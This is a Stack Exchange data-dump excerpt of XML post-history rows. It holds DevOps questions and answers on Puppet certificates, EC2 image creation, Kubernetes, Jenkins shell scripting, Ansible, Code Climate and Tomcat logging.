  <row Id="30347" PostHistoryTypeId="1" PostId="10077" RevisionGUID="b595497e-05fd-4c71-9918-0434eda23e32" CreationDate="2019-12-11T17:02:34.450" UserId="18620" Text="When to &quot;npm publish&quot; when using git flow" ContentLicense="CC BY-SA 4.0" />
  <row Id="30348" PostHistoryTypeId="3" PostId="10077" RevisionGUID="b595497e-05fd-4c71-9918-0434eda23e32" CreationDate="2019-12-11T17:02:34.450" UserId="18620" Text="&lt;git&gt;&lt;release-management&gt;&lt;release&gt;&lt;npm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30357" PostHistoryTypeId="2" PostId="10080" RevisionGUID="4935ef6f-1ef1-49bb-b8ab-2cabac443b71" CreationDate="2019-12-11T23:06:51.107" UserId="17276" Text="Im very new to puppet but know in /etc/puppetlabs/puppet/puppet.conf I can set cert name to a url form following linux accadamy vidios but can you also set it to a private ip address.&#xD;&#xA;Im trying to set up a puppet server and agent on my personal aws account replicateing what i did on my linux accadamy lab servers on ec2s except im trying to get it working with amozon ec2s rather than ubuntu 18.04.&#xD;&#xA;&#xD;&#xA;I don't have a url set up for my ec2s as that costs extra can I use the ec2s private ip addresses rather than a url?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30358" PostHistoryTypeId="1" PostId="10080" RevisionGUID="4935ef6f-1ef1-49bb-b8ab-2cabac443b71" CreationDate="2019-12-11T23:06:51.107" UserId="17276" Text="Can use a private IP address as the puppet certname?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30359" PostHistoryTypeId="3" PostId="10080" RevisionGUID="4935ef6f-1ef1-49bb-b8ab-2cabac443b71" CreationDate="2019-12-11T23:06:51.107" UserId="17276" Text="&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30360" PostHistoryTypeId="5" PostId="10075" RevisionGUID="99c81a14-6d69-49dd-bcb2-07acd5d7a3f4" CreationDate="2019-12-12T01:40:10.963" UserId="7730" Comment="added 226 characters in body" Text="Terraform is an open source project that is [managed on GitHub](https://github.com/hashicorp/terraform). You can follow existing issues or open a new one if your enhancement request isn't found. See their issue list at: https://github.com/hashicorp/terraform/issues&#xA;&#xA;As Martin Atkins points out in the comments, the plugin specific features are each developed and tracked in their respective repositories. Here's the one for AWS: https://github.com/terraform-providers/terraform-provider-aws" ContentLicense="CC BY-SA 4.0" />
  <row Id="30361" PostHistoryTypeId="2" PostId="10081" RevisionGUID="5603db16-5dc9-4976-b56e-58895734dba8" CreationDate="2019-12-12T04:09:13.693" UserId="18606" Text="I needed to add:&#xD;&#xA;&#xD;&#xA;    variables:&#xD;&#xA;    - group: front_end-storage&#xD;&#xA;&#xD;&#xA;At the top of my pipeline for the pipeline to pick up on the variables and authorize the group." ContentLicense="CC BY-SA 4.0" />
  <row Id="30362" PostHistoryTypeId="2" PostId="10082" RevisionGUID="b6dc5201-5e74-4707-b33f-3ed91a05727f" CreationDate="2019-12-12T04:14:24.043" UserId="18623" Text="Yes, you can use the _repository digest_ for this. Note that while this is a hash of the container, it's a hash specific to the repository, and is **NOT** the image id, which is a separate sha256 hash.&#xD;&#xA;&#xD;&#xA;Once you push or pull a docker container to/from a registry, it acquires some repository metadata, including the repository digest for that container. You can see that digest by running `docker inspect &lt;container-tag-or-id&gt;` and looking for the `RepoDigests` section of the json (or just pipe that command into `jq '.[].RepoDigests'` if you have it installed.&#xD;&#xA;&#xD;&#xA;Now you can compare that with the docker pullable of the kubernetes pod you want to check by running this command:&#xD;&#xA;&#xD;&#xA;`kubectl get pod &lt;POD&gt; -o jsonpath='{.status.containerStatuses[*].imageID}'`&#xD;&#xA;&#xD;&#xA;If the hashes of both of those values match, then you can be sure they are running the same container." ContentLicense="CC BY-SA 4.0" />
  <row Id="30363" PostHistoryTypeId="2" PostId="10083" RevisionGUID="179d9038-cf18-4b1d-909a-1f4dcf0f3a5e" CreationDate="2019-12-12T08:23:00.830" UserId="12614" Text="You can indeed use IP address in the &quot;certname&quot; directive of puppet.conf file.&#xD;&#xA;&#xD;&#xA;In addition, you can create a private hosted zone in AWS Route53 that is called for example lab.local and then create an A record for your puppet server such as for example puppetmaster.lab.local and then use this address in the certname directive.&#xD;&#xA;&#xD;&#xA;Opening a hosted zone in Route 53 doesn't cost much... around 0.50$ per month for your first 25 zones.&#xD;&#xA;&#xD;&#xA;The full Route53 pricing can be found [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/route53/pricing/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30364" PostHistoryTypeId="2" PostId="10084" RevisionGUID="5005e22a-d036-4a7f-86c8-2ff5ee722423" CreationDate="2019-12-12T09:07:54.730" UserId="17276" Text="I want to be able to back up my linux accadamy lab servers but they don't provide a way to to this.&#xD;&#xA;&#xD;&#xA;I'm wondering if it's posible to clone my EC2 lab server from inside the EC2 to get round this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30365" PostHistoryTypeId="1" PostId="10084" RevisionGUID="5005e22a-d036-4a7f-86c8-2ff5ee722423" CreationDate="2019-12-12T09:07:54.730" UserId="17276" Text="Is there a way to clone an ec2 from inside the ec2 terminal?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30366" PostHistoryTypeId="3" PostId="10084" RevisionGUID="5005e22a-d036-4a7f-86c8-2ff5ee722423" CreationDate="2019-12-12T09:07:54.730" UserId="17276" Text="&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30367" PostHistoryTypeId="5" PostId="10025" RevisionGUID="58319c85-478f-415a-a161-2e7a6ee87ef2" CreationDate="2019-12-12T09:36:20.883" UserId="18476" Comment="added 249 characters in body" Text="Do you run selenium as a separate process?  &#xD;&#xA;I had the same issue if you are not running selenium in the background.&#xD;&#xA;&#xD;&#xA;(edit)&#xD;&#xA;Try java -jar selenium-XX.XX.jar in terminal.&#xD;&#xA;&#xD;&#xA;After that run pabot or robot command to run the tests.&#xD;&#xA;You can crate app through the Automator and use the same approach you describe to call it from the CI. That is what I end up using." ContentLicense="CC BY-SA 4.0" />
  <row Id="30368" PostHistoryTypeId="2" PostId="10085" RevisionGUID="2474aa56-a836-42a1-a158-d982ba552702" CreationDate="2019-12-12T09:52:31.930" UserId="12614" Text="Yes, it can be done.&#xD;&#xA;&#xD;&#xA;You can either create an IAM instance role which allows the instance to use ec2 actions such as &quot;create-image&quot; or you can create an IAM user and create for this user access and secret keys and a policy which allows this user to create images in ec2 and then configure the access and secret keys locally on the server using the &quot;aws configure&quot; command.&#xD;&#xA;&#xD;&#xA;Whatever method you choose from the above options, the next step would be from within the instance itself and assuming you have aws-cli installed in the instance, first run:&#xD;&#xA;&#xD;&#xA;`ec2-metadata -i` to get the instance id.&#xD;&#xA;&#xD;&#xA;and then run:&#xD;&#xA;&#xD;&#xA;    aws ec2 create-image --instance-id INSTANCEID --name NameOfImage --no-reboot --region REGION&#xD;&#xA;&#xD;&#xA;And it will create an image of this instance in the region you provided without rebooting the instance.&#xD;&#xA;&#xD;&#xA;The create-image command will create an image of the instance, also called AMI which then you can use to create new instances from.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30369" PostHistoryTypeId="50" PostId="9760" RevisionGUID="2d8a56dd-c560-45f1-a473-076d0b77e367" CreationDate="2019-12-12T10:02:35.333" UserId="-1" />
  <row Id="30370" PostHistoryTypeId="2" PostId="10086" RevisionGUID="0a363be4-d67e-4277-95e6-971eb3e20870" CreationDate="2019-12-12T10:42:19.393" UserId="12614" Text="I'd say you can:&#xD;&#xA;&#xD;&#xA;1. Using pip, install aws-cli for the www-data user specifically. &#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    pip install awscli --user&#xD;&#xA;2. Copying aws binary to some folder (for example awsonlybin) where it is the only command there and then adding the path of this folder to the www-data user's PATH. Example:&#xD;&#xA;&#xD;&#xA;    export PATH=$PATH:/usr/local/awsonlybin&#xD;&#xA;&#xD;&#xA;In addition to that you should also do one of the following options:&#xD;&#xA;&#xD;&#xA;* Create an IAM user and access and secret keys and attach a relevant IAM policy to that user and then configure awscli to use that access key and configure them under the www-data user.&#xD;&#xA;&#xD;&#xA;* Create an IAM role and attach a relevant policy to that role and attach the role to that instance.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30374" PostHistoryTypeId="50" PostId="9763" RevisionGUID="44098e6d-983c-4c66-a3e1-a875e2e9a881" CreationDate="2019-12-12T11:01:40.273" UserId="-1" />
  <row Id="30379" PostHistoryTypeId="6" PostId="10084" RevisionGUID="40c25501-358d-4865-b89e-f6977e5c9dd5" CreationDate="2019-12-12T11:33:47.530" UserId="12614" Comment="Added ec2 tag" Text="&lt;amazon-ec2&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30380" PostHistoryTypeId="24" PostId="10084" RevisionGUID="40c25501-358d-4865-b89e-f6977e5c9dd5" CreationDate="2019-12-12T11:33:47.530" Comment="Proposed by 12614 approved by 210 edit id of 1125" ContentLicense="CC BY-SA 4.0" />
  <row Id="30383" PostHistoryTypeId="50" PostId="9762" RevisionGUID="be017aeb-9e80-44fd-b7ed-4efc7e08f640" CreationDate="2019-12-12T12:02:25.340" UserId="-1" />
  <row Id="30384" PostHistoryTypeId="2" PostId="10089" RevisionGUID="4780ce9c-6e19-48b0-ab49-4a970ef2dd33" CreationDate="2019-12-12T13:04:18.673" UserId="12267" Text="I'm creating a single node(name: node1) k8 cluster for demos. I have setup a nginx-ingress controller.&#xD;&#xA;```&#xD;&#xA;service/volted-marmot-nginx-ingress-controller        LoadBalancer   10.100.132.29   &lt;pending&gt;     80:30787/TCP,443:30043/TCP   3h48m&#xD;&#xA;```&#xD;&#xA;I can access it by node1_ip:30043 for e.g. How do I put a load balancer in front of it? What I want is to have loadbalancer_ip:443 point to node1_ip:30043. If that's the wrong way to think of it, please let me know. I can't do it anyway, as the target pool does not have any option to choose port(e.g. 30043) anyway.&#xD;&#xA;&#xD;&#xA;If I set the loadbalancer port to 300043 then loadbalancer_ip:300043 works but I was hoping to hide that." ContentLicense="CC BY-SA 4.0" />
  <row Id="30385" PostHistoryTypeId="1" PostId="10089" RevisionGUID="4780ce9c-6e19-48b0-ab49-4a970ef2dd33" CreationDate="2019-12-12T13:04:18.673" UserId="12267" Text="How to connect GCP Load balancer to Kubernetes cluster(single node cluster)" ContentLicense="CC BY-SA 4.0" />
  <row Id="30386" PostHistoryTypeId="3" PostId="10089" RevisionGUID="4780ce9c-6e19-48b0-ab49-4a970ef2dd33" CreationDate="2019-12-12T13:04:18.673" UserId="12267" Text="&lt;kubernetes&gt;&lt;load-balance&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30387" PostHistoryTypeId="50" PostId="9741" RevisionGUID="35fce782-02ee-4f39-bd43-f9c2daf1c32e" CreationDate="2019-12-12T15:00:40.043" UserId="-1" />
  <row Id="30388" PostHistoryTypeId="5" PostId="9741" RevisionGUID="20a4aca6-43af-4c2f-a69e-facff42d504f" CreationDate="2019-12-12T15:53:22.270" UserId="17508" Comment="added 421 characters in body" Text="Using the `eksctl` tool, I created an EKS cluster with 5 nodes. My application's docker images are stored in ECR registries in the same region. I deployed my kubernetes cluster and everything has been happy for the past 6 weeks or so.&#xD;&#xA;&#xD;&#xA;This morning, I came in and found 3 pods were in an `ErrImagePull` state. Using `kubectl describe pod &lt;pod name&gt;`, I found the error:&#xD;&#xA;&#xD;&#xA;`Failed to pull image &quot;&lt;ECR REGISTRY&gt;/&lt;IMAGE&gt;&quot;: rpc error: code = Unknown desc = Error response from daemon: Get &lt;ECR REGISTRY&gt;/&lt;IMAGE&gt;: no basic auth credentials`&#xD;&#xA;&#xD;&#xA;My understanding of EKS and ECR is that I don't need a pull secret (and I haven't used one for any of the other running pods) so my guess is that some process or docker image on that node died but I can't find any docs on this.&#xD;&#xA;&#xD;&#xA;Update: I forgot all about this question. When I created the original node group, I failed to include the `--ssh-access` flag which prevented me from getting onto the node and see if a kubernetes process had failed. I never found the actual solution; I simply added a taint to the problem node, created a new node, and went about my business. I'm still trying to find time to spin up a new node group with ssh access." ContentLicense="CC BY-SA 4.0" />
  <row Id="30389" PostHistoryTypeId="2" PostId="10090" RevisionGUID="cb52c45a-57c0-42e8-8350-68dbf6177fa1" CreationDate="2019-12-12T16:17:21.300" UserId="9459" Text="Let’s assume the following scenario: &#xD;&#xA;&#xD;&#xA;I have a cluster with 100 CPU cores and 100 Pods each having a request of 1 CPU. &#xD;&#xA;&#xD;&#xA;If I schedule the 101st Pod if a request of 1 CPU this will no longer be schedulable, as per my understanding.&#xD;&#xA;&#xD;&#xA;Now, further assume that I as cluster operator have observed that pods on average only consume .3 CPU in reality. It would be beneficial if scheduling further pods instances was possible.&#xD;&#xA;&#xD;&#xA;Can I somehow apply a global correction factor that disregards CPU requests to some degree and allows me to overcommit the available resources?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30390" PostHistoryTypeId="1" PostId="10090" RevisionGUID="cb52c45a-57c0-42e8-8350-68dbf6177fa1" CreationDate="2019-12-12T16:17:21.300" UserId="9459" Text="Overcommiting CPU Resources in Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="30391" PostHistoryTypeId="3" PostId="10090" RevisionGUID="cb52c45a-57c0-42e8-8350-68dbf6177fa1" CreationDate="2019-12-12T16:17:21.300" UserId="9459" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30396" PostHistoryTypeId="2" PostId="10092" RevisionGUID="ecd409a6-f73c-415d-8cd3-7d01e67d3f12" CreationDate="2019-12-12T17:53:16.533" UserId="17276" Text="puppetserver version: 1.2.0&#xD;&#xA;amozon linux 2&#xD;&#xA;&#xD;&#xA;I have master and mian and agent set in /etc/puppet/puppet.conf&#xD;&#xA;and curently i get back only the certificut for the master on the master with the agents dns name under [agent] and [main]&#xD;&#xA;certname = doug2c.mylabserver.com&#xD;&#xA;&#xD;&#xA;puppet cert list -all   returns &#xD;&#xA;+ &quot;doug1c.mylabserver.com&quot; (SHA256) C2:AE:78:00:8D:EE:40:09:06:26:10:AD:82:47:58:26:C7:86:F5:A1:8A:D8:B1:BE:81:C2:AF:D1:70:F9:04:EF (alt names: &quot;DNS:doug1c.mylabserver.com&quot;, &quot;DNS:puppet&quot;, &quot;DNS:puppet.mylabserver.com&quot;)&#xD;&#xA;&#xD;&#xA;i tried useing find to locate where it was set to puppet with&#xD;&#xA;find / -name doug1c&#xD;&#xA;but that didn't work" ContentLicense="CC BY-SA 4.0" />
  <row Id="30397" PostHistoryTypeId="1" PostId="10092" RevisionGUID="ecd409a6-f73c-415d-8cd3-7d01e67d3f12" CreationDate="2019-12-12T17:53:16.533" UserId="17276" Text="were do i set that agent certificut for puppet on amozon linux?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30398" PostHistoryTypeId="3" PostId="10092" RevisionGUID="ecd409a6-f73c-415d-8cd3-7d01e67d3f12" CreationDate="2019-12-12T17:53:16.533" UserId="17276" Text="&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30399" PostHistoryTypeId="2" PostId="10093" RevisionGUID="1b6d28f9-60e0-4ada-9c28-46866eeadc8d" CreationDate="2019-12-12T18:02:41.507" UserId="707" Text="In agile, pair programming can be performed like the following:&#xD;&#xA;&#xD;&#xA;- two specialists of same discipline change the place before the terminal and each has a chance to code and to conceptualize/reflect;&#xD;&#xA;- two specialists of different disciplines work together, but one is rather a customer and cannot code much in the target language; also the coder might not know much about the requirements which then discussed directly and coded and tested and deployed.&#xD;&#xA;&#xD;&#xA;How is this relevant/appliable in DevOps context? (facts)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30400" PostHistoryTypeId="1" PostId="10093" RevisionGUID="1b6d28f9-60e0-4ada-9c28-46866eeadc8d" CreationDate="2019-12-12T18:02:41.507" UserId="707" Text="How well can agile pair programming work in interdisciplinary DevOps contexts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30401" PostHistoryTypeId="3" PostId="10093" RevisionGUID="1b6d28f9-60e0-4ada-9c28-46866eeadc8d" CreationDate="2019-12-12T18:02:41.507" UserId="707" Text="&lt;deployment&gt;&lt;culture&gt;&lt;agile&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30402" PostHistoryTypeId="2" PostId="10094" RevisionGUID="d99d3b3a-2e90-4b76-806e-6f7ef513bce6" CreationDate="2019-12-12T18:48:36.100" UserId="18640" Text="No, it's not possible to place an AWS Lambda in a public subnet and thus avoid paying for NAT. Lambda functions cannot have public IPs so they cannot route to the internet without a NAT (gateway or instance).&#xD;&#xA;&#xD;&#xA;Put them in a private subnet, ensure the private subnet's default route is a NAT in a public subnet, that the NAT has a public IP, and that the VPC has an IGW.&#xD;&#xA;&#xD;&#xA;For more, see [this Stack Overflow question][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/52992085/why-cant-an-aws-lambda-function-inside-a-public-subnet-in-a-vpc-connect-to-the" ContentLicense="CC BY-SA 4.0" />
  <row Id="30403" PostHistoryTypeId="2" PostId="10095" RevisionGUID="9b2a1e78-588f-483f-bcc7-8c2dbd4fa5bd" CreationDate="2019-12-12T19:40:29.960" UserId="15792" Text="Agile fits very well with a DevOps culture and pair programming is no exception.&#xD;&#xA;&#xD;&#xA;The following are some examples of &quot;pair programming&quot; principles applied in a DevOps context:&#xD;&#xA;&#xD;&#xA; - A pair of individuals working together on a Dockerfile for their service.&#xD;&#xA; - A pairing sits together to work on defining their infrastructure as code.&#xD;&#xA; - A traditional developer and an IT administrator building a [CI/CD][1] pipeline together.&#xD;&#xA; - A specialist and tester sit together to define what the testing environment should look like.&#xD;&#xA; - A specialist and a customer sitting together and working on a deployment to the customers infrastructure.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/CI/CD" ContentLicense="CC BY-SA 4.0" />
  <row Id="30404" PostHistoryTypeId="2" PostId="10096" RevisionGUID="90c54382-1707-4e41-af89-d36be14281c1" CreationDate="2019-12-12T21:08:53.203" UserId="17276" Text="On the agent I needed to set the server ip set to puppet in &#xD;&#xA;/etc/hosts &#xD;&#xA;&#xD;&#xA;I had accidentally put it on the agents ip address and then been incorrectly assuming i'd done something wrong on the master rather than the agent.&#xD;&#xA;&#xD;&#xA;(server ip)  (domian name)   puppet " ContentLicense="CC BY-SA 4.0" />
  <row Id="30405" PostHistoryTypeId="5" PostId="9942" RevisionGUID="e834e680-ebed-4e09-8c00-7b77311b397f" CreationDate="2019-12-12T22:30:05.987" UserId="4557" Comment="added 1000 characters in body" Text="Below is a script I am running in the deploy of a docker container. The `docker ps -a | grep $APP_CONTAINER_NAME` command is returning non-zero when the container was not correctly built/tested, hence the `|| true`.&#xD;&#xA;&#xD;&#xA;How can I prevent Jenkins from interpreting the ${PIPELINESTATUS[0]} as a variable replacement in the script? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sh label: 'Stop and Remove Old Docker Container', script: '''&#xD;&#xA;                        docker ps -a&#xD;&#xA;                        echo $APP_CONTAINER_NAME&#xD;&#xA;&#xD;&#xA;                        docker ps -a | grep $APP_CONTAINER_NAME || true&#xD;&#xA;                        DOCKERCODE=&quot;${PIPESTATUS[0]}&quot;&#xD;&#xA;                        GREPCODE=&quot;${PIPESTATUS[1]}&quot;&#xD;&#xA;                        echo &quot;Docker Command Code: $DOCKERCODE&quot;&#xD;&#xA;&#xD;&#xA;                        echo &quot;Grep Command Code: $GREPCODE&quot;&#xD;&#xA;&#xD;&#xA;                        if [ $DOCKERCODE -eq 0 ] then;&#xD;&#xA;                            docker stop $APP_CONTAINER_NAME&#xD;&#xA;                            docker rm $APP_CONTAINER_NAME&#xD;&#xA;                        else&#xD;&#xA;                            echo &quot;WARNING: Docker command was empty or had an error&quot;&#xD;&#xA;                        fi&#xD;&#xA;                    '''&#xD;&#xA;EDIT1: &#xD;&#xA;To clarify - this command gives the error `/mnt/data/jenkins/workspace/Test@tmp/durable-4c7b4748/script.sh: 7: /mnt/data/jenkins/workspace/Test@tmp/durable-4c7b4748/script.sh: Bad substitution`&#xD;&#xA;&#xD;&#xA;I've tried triple double quotes, escaping the quotes in the shell script, and single quoting the PIPESTATUS command prevents execution. &#xD;&#xA;&#xD;&#xA;UPDATE: &#xD;&#xA;I tried escaping quite a few things. A single slash results in the above error as well. A double slash results in printing the line and not running the bash command.&#xD;&#xA;&#xD;&#xA;            sh label: 'Stop and Remove Old Docker Container', script: '''&#xD;&#xA;                    docker ps -a&#xD;&#xA;                    echo $APP_CONTAINER_NAME&#xD;&#xA;                    &#xD;&#xA;                    docker ps -a | grep $APP_CONTAINER_NAME || true&#xD;&#xA;                    echo &quot;HERE&quot;&#xD;&#xA;                    echo \\${PIPESTATUS[@]}&#xD;&#xA;                    DOCKERCODE=&quot;\\${PIPESTATUS[0]}&quot;&#xD;&#xA;                    GREPCODE=&quot;\\${PIPESTATUS[1]}&quot;&#xD;&#xA;                    echo &quot;Docker Command Code: \$DOCKERCODE&quot;&#xD;&#xA;                    &#xD;&#xA;                    echo &quot;Grep Command Code: \$GREPCODE&quot;&#xD;&#xA;&#xD;&#xA;                    if [ \\$DOCKERCODE -eq 0 ] then;&#xD;&#xA;                        docker stop $APP_CONTAINER_NAME&#xD;&#xA;                        docker rm $APP_CONTAINER_NAME&#xD;&#xA;                    else&#xD;&#xA;                        echo &quot;WARNING: Docker command was empty or had an error&quot;&#xD;&#xA;                    fi&#xD;&#xA;                '''&#xD;&#xA;&#xD;&#xA;Output from above version:&#xD;&#xA;&#xD;&#xA;    TEST&#xD;&#xA;    + docker ps -a&#xD;&#xA;    + grep TEST&#xD;&#xA;    + true&#xD;&#xA;    + echo HERE&#xD;&#xA;    HERE&#xD;&#xA;    + echo ${PIPESTATUS[@]}&#xD;&#xA;    ${PIPESTATUS[@]}&#xD;&#xA;    + DOCKERCODE=${PIPESTATUS[0]}&#xD;&#xA;    + GREPCODE=${PIPESTATUS[1]}&#xD;&#xA;    + echo Docker Command Code: ${PIPESTATUS[0]}&#xD;&#xA;    Docker Command Code: ${PIPESTATUS[0]}&#xD;&#xA;    + echo Grep Command Code: ${PIPESTATUS[1]}&#xD;&#xA;    Grep Command Code: ${PIPESTATUS[1]}&#xD;&#xA;    /mnt/data/jenkins/workspace/Test@tmp/durable-4a5608fa/script.sh: 17: /mnt/data/jenkins/workspace/Test@tmp/durable-4a5608fa/script.sh: Syntax error: &quot;else&quot; unexpected (expecting &quot;then&quot;)&#xD;&#xA;&#xD;&#xA;FINAL ANSWER:&#xD;&#xA;The shebang needed to be on the same line as the script: ''' because of how just the first few characters are read by the system to check for #!.&#xD;&#xA;&#xD;&#xA;    sh label: 'Stop and Remove Old Docker Container', script: '''#!/usr/bin/env bash             &#xD;&#xA;                    docker ps -a&#xD;&#xA;                    echo $APP_CONTAINER_NAME&#xD;&#xA;    &#xD;&#xA;                    docker ps -a | grep $APP_CONTAINER_NAME || true&#xD;&#xA;                    status=(&quot;${PIPESTATUS[@]}&quot;)&#xD;&#xA;                    DOCKERCODE=${status[0]}&#xD;&#xA;                    GREPCODE=${status[1]}&#xD;&#xA;                    echo &quot;Docker Command Code: $DOCKERCODE&quot;&#xD;&#xA;    &#xD;&#xA;                    echo &quot;Grep Command Code: $GREPCODE&quot;&#xD;&#xA;    &#xD;&#xA;                    if [ $DOCKERCODE -eq 0 ]; then&#xD;&#xA;                        docker stop $APP_CONTAINER_NAME&#xD;&#xA;                        docker rm $APP_CONTAINER_NAME&#xD;&#xA;                    else&#xD;&#xA;                        echo &quot;WARNING: Docker command was empty or had an error&quot;&#xD;&#xA;                    fi&#xD;&#xA;                '''" ContentLicense="CC BY-SA 4.0" />
  <row Id="30409" PostHistoryTypeId="2" PostId="10098" RevisionGUID="18062768-0459-41f2-a2a1-1b2e62245d2c" CreationDate="2019-12-13T02:38:50.040" UserId="16819" Text="Is there a way to run a specific task or role at the very beginning of every `ansible-playbook` run?&#xD;&#xA;&#xD;&#xA;I'm looking for something that would go into `ansible.cfg` or something like that, so all playbooks using that file would run a specific task at the beginning.&#xD;&#xA;&#xD;&#xA;My intention is to use it for doing some verifications: for example, &quot;_is the local host listed on the inventory?  If not, perhaps I'm using the wrong inventory_&quot;.&#xD;&#xA;&#xD;&#xA;I could `import` or `include` such a role in every playbook, but I want it to be automatic, and to work even for playbooks that don't know about that role." ContentLicense="CC BY-SA 4.0" />
  <row Id="30410" PostHistoryTypeId="1" PostId="10098" RevisionGUID="18062768-0459-41f2-a2a1-1b2e62245d2c" CreationDate="2019-12-13T02:38:50.040" UserId="16819" Text="Running task or role before any playbooks" ContentLicense="CC BY-SA 4.0" />
  <row Id="30411" PostHistoryTypeId="3" PostId="10098" RevisionGUID="18062768-0459-41f2-a2a1-1b2e62245d2c" CreationDate="2019-12-13T02:38:50.040" UserId="16819" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30414" PostHistoryTypeId="2" PostId="10099" RevisionGUID="09504ee1-870b-466d-bf4d-8249a533f107" CreationDate="2019-12-13T06:03:08.947" UserId="16959" Text="My company is currently trying to implement Code Climate for test coverage. However, I do not have much idea about it and new to using code climate.&#xD;&#xA;&#xD;&#xA;I tried to integrate code climate with Jenkins so that once the tests are successful, I can simply move on with other Jenkins Job.&#xD;&#xA;&#xD;&#xA;I consulted the documentation itself, and as per documentation there are things like but there is not much explanation about it.&#xD;&#xA;&#xD;&#xA;```./cc-test-reporter after-build -t simplecov --exit-code $? || echo  “Skipping Code Climate coverage upload”```&#xD;&#xA;&#xD;&#xA;I executed this, but returned there is no such file simplecov. I later found that the -t flag is used to provide the file which will be used for coverage. Below is my Jenkins job.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#!/bin/bash&#xD;&#xA;echo &quot;---------------------------------------&quot;&#xD;&#xA;echo &quot;| Downloading Code Climate &quot;&#xD;&#xA;curl -L https://codeclimate.com/downloads/test-reporter/test-reporter-latest-linux-amd64 &gt;&gt; ./cc-test-reporter&#xD;&#xA;chmod +x ./cc-test-reporter&#xD;&#xA;echo &quot;| Download Complete &quot;&#xD;&#xA;echo &quot;---------------------------------------&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;CODECLIMATE_REPO_TOKEN=${CODECLIMATE_REPO_TOKEN}&#xD;&#xA;echo &quot;Running tests&quot;&#xD;&#xA;./cc-test-reporter before-build.&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Once I execute this, I get the following output.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---------------------------------------&#xD;&#xA;| Downloading Code Climate &#xD;&#xA;  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xD;&#xA;                                 Dload  Upload   Total   Spent    Left  Speed&#xD;&#xA;&#xD;&#xA;  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0&#xD;&#xA;100   178  100   178    0     0    933      0 --:--:-- --:--:-- --:--:--   936&#xD;&#xA;&#xD;&#xA;  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0&#xD;&#xA;100 12.1M  100 12.1M    0     0  10.0M      0  0:00:01  0:00:01 --:--:-- 15.8M&#xD;&#xA;| Download Complete &#xD;&#xA;---------------------------------------&#xD;&#xA;Running tests&#xD;&#xA;Finished: SUCCESS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Why am I not getting any code coverage or things like that in the console. How do I properly integrate it in Jenkins." ContentLicense="CC BY-SA 4.0" />
  <row Id="30415" PostHistoryTypeId="1" PostId="10099" RevisionGUID="09504ee1-870b-466d-bf4d-8249a533f107" CreationDate="2019-12-13T06:03:08.947" UserId="16959" Text="Using Code Climate for Test Coverage alongside Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="30416" PostHistoryTypeId="3" PostId="10099" RevisionGUID="09504ee1-870b-466d-bf4d-8249a533f107" CreationDate="2019-12-13T06:03:08.947" UserId="16959" Text="&lt;jenkins&gt;&lt;code-coverage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30417" PostHistoryTypeId="2" PostId="10100" RevisionGUID="8e9c5639-f0a1-431f-8b9e-1337e37e5f8d" CreationDate="2019-12-13T06:34:32.073" UserId="18649" Text="There is Tomcat configuration file for the logging: `TOMCAT_HOME/conf/logging.properties`.&#xD;&#xA;Edit the file and remove all the handlers except the console handler:&#xD;&#xA;&#xD;&#xA;    .handlers = java.util.logging.ConsoleHandler&#xD;&#xA;&#xD;&#xA;This will direct all logging to the console, **except** for access logs (localhost_access_log.XXXX.txt). It is always written to file by the AccessLogValve, configured in 'server.xml'. To redirect that one you need to configure own implementation of the AbstractAccessLogValve... which requires coding." ContentLicense="CC BY-SA 4.0" />
  <row Id="30418" PostHistoryTypeId="2" PostId="10101" RevisionGUID="94426e69-f044-46de-aee9-b7cae6405586" CreationDate="2019-12-13T07:46:04.700" UserId="17276" Text="puppet version 3.8.7&#xD;&#xA;on &#xD;&#xA;amozon linux2&#xD;&#xA;I tried to find it with the find comand looking for files named production or defults following the names used in a tutorial useing ubuntu but there is no production or defult file or directory on the amozon linux as there is on ubuntu version?&#xD;&#xA;The distrobution of puppet i downloaded was&#xD;&#xA;&#xD;&#xA;http://yum.puppetlabs.com/puppetlabs-release-el-7.noarch.rpm" ContentLicense="CC BY-SA 4.0" />
  <row Id="30419" PostHistoryTypeId="1" PostId="10101" RevisionGUID="94426e69-f044-46de-aee9-b7cae6405586" CreationDate="2019-12-13T07:46:04.700" UserId="17276" Text="where is the puppets enviroments directory in puppet on amozon linux2?" ContentLicense="CC BY-SA 4.0" />
